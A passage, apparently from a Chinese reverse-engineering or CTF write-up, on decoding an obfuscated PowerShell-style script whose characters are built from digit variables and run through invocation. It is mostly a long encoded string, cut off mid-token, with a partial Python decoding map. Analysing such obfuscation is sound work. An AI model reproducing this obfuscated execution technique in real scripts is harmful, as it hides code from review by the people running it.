l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i) " | .$r 通过累加来进行赋值,搓一个python还原脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # 定义变量映射 var_map = { 'b': '1', 'u': '0', 'q': '2', 'z': '3', 'o': '4', 'd': '5', 'h': '6', 'e': '7', 'i': '8', 'l': '9', 'x': '6' } # 从原始脚本中提取的编码字符串(简化版) encoded_str = ( "$g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$x$l+$g$b$b$o+$g$b$b$o+$g$b$b$b+$g$b$b$o+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$x+$g$b$u$b+$g$b$b$o+$g$l$i+$g$b$b$b+$g$b$b$d+$g$b$u$b+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$e+$g$l$e+$g$b$b$o+$g$b$b$u+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$z+$g$b$u$d+$g$b$u$i+$g$b$u$b+$g$b$b$u+$g$b$b$x+$g$b$u$i+$g$b$q$b+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$u$d+$g$b$b$u+$g$b$b$e+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$b$d+$g$b$u$o+$g$b$b$e+$g$b$b$x+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$z$q+$g$o$e+$g$b$b$d+$g$z$q+$g$o$e+$g$b$b$x+$g$z$q+$g$d$o+$g$o$i+$g$o$i+$g$z$q+$g$x$q+$g$z$x+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i+$g$z$q+$g$d$u+$g$x$q+$g$z$i+$g$o$l+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$x$e+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$u$i+$g$b$b$b+$g$x$d$z$e$o+$g$o$u+$g$i$e$z$x+$g$b$i$z+$g$l$x$l+$g$x$u+$g$z$q+$g$o$b+$g$i$l$e$i+$g$l$e$z$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$b$x+$g$l$e+$g$b$b$o+$g$b$b$x+$g$i$u+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$e+$g$l$e+$g$b$b$u+$g$b$b$e+$g$l$e+$g$b$u$i+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$q+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$b$u$d+$g$b$b$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$x+$g$b$b$b+$g$b$b$o+$g$b$u$u+$g$b$u$b+$g$b$b$o+$g$i$z+$g$b$b$x+$g$b$q$b+$g$b$u$i+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$u+$g$b$u$d+$g$b$q$u+$g$b$u$b+$g$b$u$u+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$x+$g$l$e+$g$l$l+$g$b$u$e+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$d+$g$o$i+$g$o$i+$g$d$d+$g$d$d+$g$x$e+$g$x$e+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$e$u+$g$l$e+$g$b$u$i+$g$b$b$d+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$b$b+$g$b$b$q+$g$e$e+$g$b$b$b+$g$b$b$d+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$x+$g$e$z+$g$e$x+$g$x$e+$g$i$o+$g$e$u+$g$b$q$z+$g$d$o+$g$b$u$b+$g$l$d+$g$i$x+$g$o$l+$g$e$b+$g$b$u$i+$g$e$x+$g$d$q+$g$e$i+$g$d$d+$g$l$d+$g$d$q+$g$d$e+$g$x$o+$g$o$l+$g$e$i+$g$z$x+$g$b$b$x+$g$l$d+$g$b$b$q+$g$e$q+$g$e$z+$g$b$b$d+$g$b$u$o+$g$b$u$d+$g$b$b$u+$g$e$b+$g$b$q$d+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$i+$g$o$i+$g$b$b$q+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$d$i+$g$o$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$b$b$b+$g$b$u$i+$g$l$e+$g$b$b$d+$g$z$o+$g$o$o+$g$z$q+$g$d$o+$g$d$q+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$x$i$q$d+$g$z$e$z$q$o+$g$q$e$i$u$l+$g$q$x$z$e$e+$g$z$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$x$d$z$u$e+$g$z$x$i$q$d+$g$q$u$u$b$u+$g$z$b$z$i$z+$g$q$b$o$e$d+$g$q$x$b$d$l+$g$q$o$d$l$u+$g$q$u$u$o$u+$g$q$u$l$i$x+$g$q$l$x$b$x+$g$z$u$z$o$u+$g$q$b$x$u$q+$g$x$d$q$l$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$z$q+$g$q$z$x$u$b+$g$q$q$z$b$q+$g$z$e$u$q$e+$g$z$e$z$q$o+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$